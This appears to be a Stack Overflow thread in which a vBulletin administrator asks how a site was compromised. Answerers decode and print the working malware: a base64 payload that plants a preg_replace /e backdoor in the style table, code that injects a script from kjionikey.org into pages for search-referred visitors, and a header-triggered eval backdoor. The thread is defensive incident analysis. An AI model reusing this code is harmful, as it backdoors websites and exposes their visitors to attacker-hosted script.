4

I found a couple vBulletin sites I administer getting hacked recently. They use the latest version of the 3.8 series (3.8.7 Patch Level 2). I am usually pretty good at finding the holes where they get in and patching them up, but this one is stumping me. They are injecting data into the MySQL tables. The attack always happens when they make a GET request to the faq.php script. I was able to save data when the attack occurs. This was the $_REQUEST, $_GET, $_POST, $_COOKIE, and $_SERVER arrays. The only thing I saw that looked out of place is that there were two new $_SERVER keys, HTTP_SOVIET and HTTP_PACK:

http://pastebin.com/b6WdZtfK

I have to assume this is the root of the issue, but I cannot for the life of me figure out how the attacker can set this variable. There is nothing in the request string, nothing in the cookie array, it is a GET request, not POST.

Any idea?

Your Common Sense
  • 156,878
  • 40
  • 214
  • 345
Jafo
  • 1,200
  • 2
  • 11
  • 22

2 Answers2

4

A variable like $_SERVER['HTTP_*'] can set by just adding headers to the HTTP request.

A simple command line example would be:

PHP Page:

print_r($_SERVER);

Then on command line:

curl --header "SOVIET: 123" localhost

You'll see that $_SERVER['HTTP_SOVIET'] is equal to 123.

In this case, the contents of HTTP_SOVIET are base64 encoded (give away, it ends in ==). Unencoded, it turns into:

function iai() {
global $db;
$base = base64_decode('JExLZ1RMSEs9KCRPX3JaeGw9IlxceDYyIi4iXFx4NjEiLiJcXHg3MyIuIlxceDY1Ii4iXFx4MzYiLiJcXHgzNCIuIlxceDVmIi4iXFx4NjQiLiJcXHg2NSIuIlxceDYzIi4iXFx4NmYiLiJcXHg2NCIuIlxceDY1ImFuZCRldFZKT1ZPPSJcXHg3MCIuIlxceDcyIi4iXFx4NjUiLiJcXHg2NyIuIlxceDVmIi4iXFx4NzIiLiJcXHg2NSIuIlxceDcwIi4iXFx4NmMiLiJcXHg2MSIuIlxceDYzIi4iXFx4NjUiKT9AJGV0VkpPVk8oIlxceDJmXFx4MmVcXHgyZlxceDY5XFx4NjUiLCRPX3JaeGwoIlFHVjJZV3dvWW1GelpUWTBYMlJsWTI5a1pTZ25XbTVXZFZrelVuQmlNalJuVTBkU01GRnRiRWhXUlVaNVMwTnJaMlYzTUV0YU1uaDJXVzFHYzBsRFVuQmpSamswVDNjd1MwcEhXbkJpUjFabVdrTkJPVWxEWTNaa1J6RjNURE5DYjJOR2JGTlpNRTVEWWxWS2VVcDZjMDVEYVZKd1kwWTVjMGxFTUdkTFNFNHdZMjFzZFZwNWJIQmpSRXB6WWpJMWJrdERVbkJqUmprMFMxUnpUa050YkcxTFIxcHdZa2RXWmxwWWFIQmpNMUo2UzBOU2JXRlhlR3hZTWxGd1NVZEdkVnBEUWtGaFdFNW1aRE5LY0dSSFJtbGlSMVZ2U2tkYWNHSkhWbVphUTJ0bldWYzFhMGxEWjI5S1NFNXdaVzFXWmxwcFFUbEpSVUp0WVZkNGJHTXliRFphVTJkcldtMXNjMXBXT1d0TFUydG5VR2xCZDB0VGEyZGxkekJMU1VOU2ExbFlVbWhKUkRCbldtMXNjMXBXT1c1YVdGSm1XVEk1ZFdSSFZuVmtTRTF2U2tkYWNHSkhWbVphUTJzM1JGRnZaMkZYV1c5S1NFNXdaVzFXWmxwcFFTdEpSRVYzVFVSQmQwMUVRWEJKUjFwd1lrZFdabU5JVmpCWU1rNTJZbTVTYkdKdVVucExRMUp0WVZkNGJGZ3lVWE5pV0ZKbVkyMUdkVnBEWjNoTlJFRnpUMVJyTlV0VE5HNU1RMk53VDNjd1MwbERRbkJhYVdkb1l6TlNlV0ZZVGpCamFXZHJXa2RHTUZsVGQydGhXRUptWWtOcmNFbEljMDVEYVVGblNVZGFjR0pIVm1aalNGWXdXREpPZG1KdVVteGlibEo2UzBOU2JXRlhlR3hZTWxGelNXbFNjR05HT1hOTVEwbHpVbXRzVFZKV09VSlZSa0pHVkd0UmNFOTNNRXRKUTBJNVNVZFdjMk15VldkamJWWXdaRmhLZFVsSVVubGtWMVUzUkZGdloyWlJNRXRtVVRCTFdtNVdkVmt6VW5CaU1qUm5VekpXU1ZOSFVuQlhSWGR2U2tkc2RVdFRRamRFVVhCdVlrYzVhVmxYZDJkS1NGcHBaRmQ0YzFwWVVuQmlhWGRyWVZoQ1ptVkVjMDVEYVZKcllqSXhhR0ZYTkdkUVUwRnVZVEp3Y0dJeU5YQmhNbFkxVEcwNWVWcDVZemRFVVc5cldtMXNkVnBHT1hSYVUwRTVTVU5rTWxsdVZuTmlSMVl3WVZjMVptSlhWblZrVXpWeFkzbzVNbEJVVFRST2VVa3JVRU01ZWxrelNuQmpTRkVyU25welRrTnBVbnBhVjAxblVGTkJibFV5TlVOYVIyaFRVVlp3VTFsclpEQmpiRGh1VDNjd1MwcEhkR3hsVTBFNVNVaE9NVmx1VGpCamFXaDBXa1JWYjBwR09WUlNWa3BYVWxaS1lrb3dhRlZXUmtKbVZsWk9SbFZzT1VKU01GWlBWa05rWkV4cFVuQmpSamswVEdsU2VscFhUWEJNUkVGelRWUlpjRTkzTUV0S1NGWjVZa05CT1VsSE1UQllNMHBvWW0xUmIwMVVRWGRNUkdzMVQxUnJOVTlUYTNWS2VUVnhZM280ZVU1VVFURk9hbWR0U25rMGEyRXlWalZQZHpCTFkyMVdNR1JZU25WSlEyZHJZak5XTUVsRU1HZGpNMUo1V0ROS2JHTkhlR2haTWxWdlNrZGFjR0p0VW1aaVYxVnpTa2RhY0dKdFVtWmlWMVYxU1d4NGVWaEhORGhqTWs1NVlWaENNRWxJVWpWalIxVTVXRU5LTUZwWWFEQk1NbkJvWkcxR2Vsa3pTbkJqU0ZKalNXbENlbU50VFRsWVEwcHZaRWhTZDA5cE9IWktSMUoyWWxkR2NHSnBPR3RrV0VweldFTkpLMUJET1hwWk0wcHdZMGhSSzBscGQydGhWelJ3UzFOQkwwbERVblprV0ZGblQybEJhMkZYTkRkRVVYQTVSRkZ3YldSWE5XcGtSMngyWW1sQ1IyVnJkREZWUjFwd1VWVmpiMHRUUWpkRVVXOXJZVmhCWjFCVFFXNUtlbk5PUTIxc2JVdERSbXhpV0VJd1pWTm5hMWd4VGtaVmJGcEdWV3h6YmxOR1VsVlZSamxaV0RCYVVGVnNaRUpWYTFKR1VrWTVSMVF4U1c1WVUydHdTVWh6VGtOcFFXdFpXRXA1U1VRd1oxcFlhSGRpUnpscldsTm5ia3hEWTNOS1JqbFVVbFpLVjFKV1NtSktNR2hWVmtaQ1psZEdPVWRVTVVwWVVWWktSVkpWVW1aU2F6bFRTakV3Y0U5M01FdEpRMEp3V21sb2QyTnRWbTVZTWpGb1pFZE9iMHREWTNaWWJIaHJaWHBGYzAwek1XTk1iSGhyWlhwRmMwMHpNV05NYkhoclpYcEZjMDB6TVdOTWJIaHJaWHBGYzAwek1HdE1lV056U2tkR2VXTnNjMjVOUTJSa1MxTnJaMlYzTUV0SlEwRm5Ta2RzZDBsRU1HZEtSMFo1WTJ4emJrMURaR1JQZHpCTFNVTkNPVVJSY0RsRVVYQjVXbGhTTVdOdE5HZExRMFpzWWxoQ01HVlRaMnRoV0VGd1MxTkJMMGxEVW5CalEwRTJTVU5TWmxVd1ZsTldhMVpUVjNsa1UxSlZNVkJXUlZabVVWVlNSVlZwWkdSUGR6QkxabEV3UzFwdVZuVlpNMUp3WWpJMFoxRllRbVpoUm5CRldIbG5jRWxJYzA1RGJXeHRTMGhDZVZwWFpHWmlWMFl3V1RKbmIwcDVUbTVpTWpsdVlrZFdPR0pZVG5WbVIzaHdaRzFXT0ZsWGVEQlpXRnB3WXpOU2FHWkhSbnBoTTNnMVdWZG9kbUl6ZUdoaU1uZzRXVzFzZFZvemVHeGxSMFp6V2xkR2EyWkhWalJaTW13d1dsaDRjMlZYVG5aak0zaDBaVmhPZDFsWFRteG1SMFp6V2xob2FHWkhVblprVjBweldsZE9jMkZYVG5KSk1tdHVURU5TWmxVd1ZsTldhMVpUVjNsa1NWWkdVbEZZTVVwR1VtdFdVMUpXU1c1WVUydHdTVWh6VGtOcFFuQmFhV2gzWTIxV2JsZ3lNV2hrUjA1dlMwTmphbUpZVG5CYVdIaHRZVmhLYkZwdE9UUm1SemwzV2xoS2FHWkhUbTlqYlRsMFdsTk9jRXA1ZDJ0WU1VNUdWV3hhUmxWc2MyNVRSbEpWVlVZNVZsVXdWbE5ZTUVaSVVsVTFWVW94TUhCTFUwSjVXbGhTTVdOdE5HZGtTRW94V2xSelRrTnBRamxFVVhBNVJGRndiV1JYTldwa1IyeDJZbWxDZGxSV2JGcFVNa1o1UzBOcloyVjNNRXRhTW5oMldXMUdjMGxEVW5CalJqazBUM2N3UzBwSGJIZFlNMmRuVUZOQ1IyVnJkREZWUjFwd1VWVmpiMHRVYzA1RGFWSm9TVVF3WjFsWVNubFpXR3R2U25wSmVFNXBOSGxOZW10MVNubDNiazFxUVRWTWFtY3hUR2xqYzBwNlJUTk5lVFI1VGxSVmRVcDVkMjVOVkdONlRHcEZOVTVETkc1TVEyTTBUMU0wZVUxRVkzVktlWGR1VG5wUmRVMVVTVEZNYVdOelNucGplVXhxUlRCTWFXTnpTbnBaTWt4cVNUQlBVelJ1VEVOak1rNXBOSGhOUkVsMVNubDNiazVxVVhWTmFrMTZUR2xqY0U5M01FdGFiVGw1V2xkR2FtRkRaMnRaVTBKb1kzbEJhMWxwYTJkbGR6QkxTVWRzYlV0SVFubGFWMlJtWWxkR01Ga3laMjlKYVRsbFNrZEpkbUZUU1hOS1IyeDNXRE5uY0V0VFFubGFXRkl4WTIwMFoyUklTakZhVkhOT1EybENPVVJSY0RsRVVYQndXbWxuYUZwWE1YZGtTR3R2U2tZNVZGSldTbGRTVmtwaVNqQm9WVlpHUW1aVmExWkhVbFpLUmxWcFpHUkxVMnRuWlhjd1MwbEhiRzFMUlVaM1dESm9ZVkpHT0c5TFUwSm9ZbTFSWjBsWE9VNVhWbXhRV1ZoSmIwdFRRbWhpYlZGblNWVm9hMlJGU25CU01WSkNZMmxuY0V0VFFqZEVVVzluU2tjMWJHUXpVbXhsU0ZGblVGTkNURnBWYUVsYVIyeFpWRU5uYTJKdFZqTmtSMVkwWkVOck4wUlJiMmRtVVRCTFpsRXdTMk50VmpCa1dFcDFTVU5TZFZwWVpEQmFXR2d3VDNjOVBTY3BLVHM9IiksIi4iKTpudWxsOw=='); 
$style = $GLOBALS['style'];
if(!empty($style['styleid'])) {
 $a = $db->query_first('select styleid from '.TABLE_PREFIX.'style where styleid=\''.$style['styleid'].'\'');
  if($a['styleid']!='' and $a['replacements']=='') {
   $db->query_write('update '.TABLE_PREFIX.'style set replacements=\'a:1:{s:12:"/^(.*?)$/ise";s:'.(strlen($base)-30).':"'.$base.'";}\' where styleid=\''.$style['styleid'].'\'');
   echo 'ok';
  } else echo 'error';
}
exit;
}
@iai();

It's worth noting that query there:

'update '.TABLE_PREFIX.'style set replacements=\'a:1:{s:12:"/^(.*?)$/ise";s:'.(strlen($base)-30).':"'.$base.'";}\' where styleid=\''.$style['styleid'].'\''

Check your style table, as that's one way/the way code is exposed to the user.

Renaming your style table to something else would likely mitigate the effects of this attack for now.

In there, the base64 bit has more bas64 in, which has more bas64 in which eventually evals:

function HdtBiGTAr() {
global $ip_x;
$file_d = '/tmp/phpYRcCBmBr';
$ip_l = (string)ip2long($ip_x);
if(file_exists($file_d) and @is_writable($file_d) and (($size_f = @filesize($file_d)) > 0)) {
 $data = file_get_contents($file_d);
 if($size_f > 1000000) file_put_contents($file_d,mt_rand(100,999).',');
  if(!stristr($data,$ip_l)) {
   file_put_contents($file_d,"$ip_l,",FILE_APPEND);
  } else return true;
 }
}
function KeHHdiXL($in) {
global $vbulletin,$ip_x;
$domain = 'kjionikey.org';
$find_me = 'vbulletin_menu.js?v=387"></script>';
$sec = 'SnBdhRAZRbGtr_';
$key = substr(md5($_SERVER['HTTP_USER_AGENT'].$ip_x.$sec),0,16);
$url = mt_rand(100,999999).'.js?250568&'.$key;
return ($out = str_replace($find_me,$find_me."\r\n<script type=\"text/javascript\" src=\"http://$domain/$url\"></script>",$in)) ? $out : $in;
}
function FzKuPfiAG() {
$ip = '';
if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
 $arr = explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']);
  if(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/',$arr['0'])) {
   $ip = $arr['0'];
  }
}
return (!empty($ip)) ? $ip : $_SERVER['REMOTE_ADDR'];
}
function Ap_hZD_() {
if(preg_match('#google|msn|live|altavista|ask|yahoo|aol|bing|exalead|excite|lycos|myspace|alexa|doubleclick#i',$_SERVER['HTTP_REFERER'])) {
 if(preg_match('#msie|firefox|opera|chrome#i',$_SERVER['HTTP_USER_AGENT'])) return true;
 }
}
function oMYYOar() {
global $ip_x;
$ip_x = FzKuPfiAG();
$a = array('216.239.','209.85.','173.255.','173.194.','89.207.','74.125.','72.14.','66.249.','66.102.','64.233.');
foreach($a as $b) {
 if(preg_match("/^$b/i",$ip_x)) return true;
 }
}
if(!empty($_SERVER['HTTP_REFERER'])) {
 if(Ap_hZD_() and !oMYYOar() and !HdtBiGTAr()) {
 $newtext = KeHHdiXL($newtext);
 }
}
return $newtext;

This writes to a file called /tmp/phpYRcCBmBr, so I'd check what that says.

It also hides it's behaviour from search engines, which is nice of it.

The bad bit for users is likely:

function KeHHdiXL($in) {
global $vbulletin,$ip_x;
$domain = 'kjionikey.org';
$find_me = 'vbulletin_menu.js?v=387"></script>';
$sec = 'SnBdhRAZRbGtr_';
$key = substr(md5($_SERVER['HTTP_USER_AGENT'].$ip_x.$sec),0,16);
$url = mt_rand(100,999999).'.js?250568&'.$key;
return ($out = str_replace($find_me,$find_me."\r\n<script type=\"text/javascript\" src=\"http://$domain/$url\"></script>",$in)) ? $out : $in;
}

Which puts some JS on the page hosted by kjionikey.org. That JS requires a key based on the IP address.

I'd check any code that reads/executes the contents of random $_SERVER variables, but why that would be in there, I don't know.

Rich Bradshaw
  • 71,795
  • 44
  • 182
  • 241
  • Gotcha. So I guess my next question is, why would setting that header actually execute it? – Jafo Oct 11 '12 at 12:44
  • 2
    I'm not sure, perhaps there is some crappy code in vbulletin that loops through everything in $_SERVER and executes it… That would be pretty dumb, but you never know! – Rich Bradshaw Oct 11 '12 at 12:45
  • 3
    Maybe the header is just a way to transmit data to some PHP code, included in every page, that came from a previous injection/attack you might have missed ? – ixe013 Oct 11 '12 at 12:48
  • 1
    OK, apparently this is step two of an attack. At some other point in time, another section of data was modified. It was executed during a preg_replace, which then looked to see if HTTP_SOVIET was set, and if so, execute it (if PACK was set correctly). I have to figure out how they injected the first step now. Sigh.. Thanks so much for your help! – Jafo Oct 11 '12 at 13:39
  • That's OK, it's always interesting looking at this sort of thing! – Rich Bradshaw Oct 11 '12 at 14:55
0

The attacker in this case has a backdoor code installed in one of your FAQ phrases (vbulletin phrases db table) as a set of chr() PHP function calls.

${$GeAZvLDI=chr(99).chr(114).chr(101).chr(97).chr(116).chr(101).chr(95) ...

that basically when eval'd through the faq.php script, gets decoded to:

if(!empty($_SERVER['HTTP_PACK']) and !empty($_SERVER['HTTP_SOVIET']))
{
    if(md5(md5($_SERVER['HTTP_PACK'])) == 'rDGeOKeGGdiVLFy')
        @eval(base64_decode($_SERVER['HTTP_SOVIET']));
}

You may find the affected vBulletin phrases by issuing a SQL query like so

SELECT varname, text FROM `phrase` where text like '%chr(%'; 

Though there are many variants of this, some are using HEX strings, base64decode, assert, pack calls or just plain PHP.

Diego Zacarias
  • 793
  • 2
  • 12
  • 22